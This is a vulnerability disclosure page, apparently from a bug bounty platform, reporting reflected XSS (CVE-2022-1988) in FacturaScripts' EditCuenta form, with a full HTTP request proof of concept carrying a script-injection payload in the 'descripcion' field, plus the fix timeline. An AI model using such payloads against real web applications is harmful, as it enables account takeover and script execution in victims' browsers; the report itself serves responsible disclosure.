Refelect XSS in neorazorx/facturascripts in neorazorx/facturascripts

0

Valid Reported on May 30th 2022

Description

/facturascripts/EditCuenta can input the taint data without sanitization by the parameter description

Proof of Concept

```
POST /facturascripts/EditCuenta HTTP/1.1
Host: 127.0.0.1
Content-Length: 1115
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryC3PsaVY6I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/facturascripts/EditCuenta
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: fsNick=admin; fsLogkey=0nGxMWOPcjDBhfLTSgRrqop2Z3CdY4TlaEtVZ9A5Kiw6
Connection: close

------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
```

```
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="action"

insert
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="activetab"

EditCuenta
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="code"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="multireqtoken"

bdea08c4a3c0a1594bd59cf5d924df90c26a7ce9|PdlZXL
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="idcuenta"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="codcuenta"

xss
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="descripcion"

'"><svg/onlad='alert(123);'/><'"
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="parent_idcuenta"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="codejercicio"

2022
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="codcuentaesp"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3--
```

Impact

This vulnerability has the potential to deface websites, result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.

CVE
CVE-2022-1988
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Generic

Severity
Medium (6.5)

Registry
Other

Affected Version
<=8.9.6

Visibility
Public

Status
Fixed

Found by

i0hex
@iohehe
legend

This report was seen 529 times.

We are processing your report and will contact the **neorazorx/facturascripts** team within 24 hours. 6 months ago

We have contacted a member of the **neorazorx/facturascripts** team and are [illegible] back 6 months ago

Carlos Garcia validated this vulnerability 6 months ago

i0hex has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Carlos Garcia marked this as fixed in 2022.09 with commit 93fc65 6 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

i0hex 6 months ago Researcher

@admin can you assign cve ?

Jamie Slome 6 months ago Admin

Sorted 👍

Sign in to join this conversation

leaderboard

FAQ

contact us

terms

privacy policy

team

Chat with us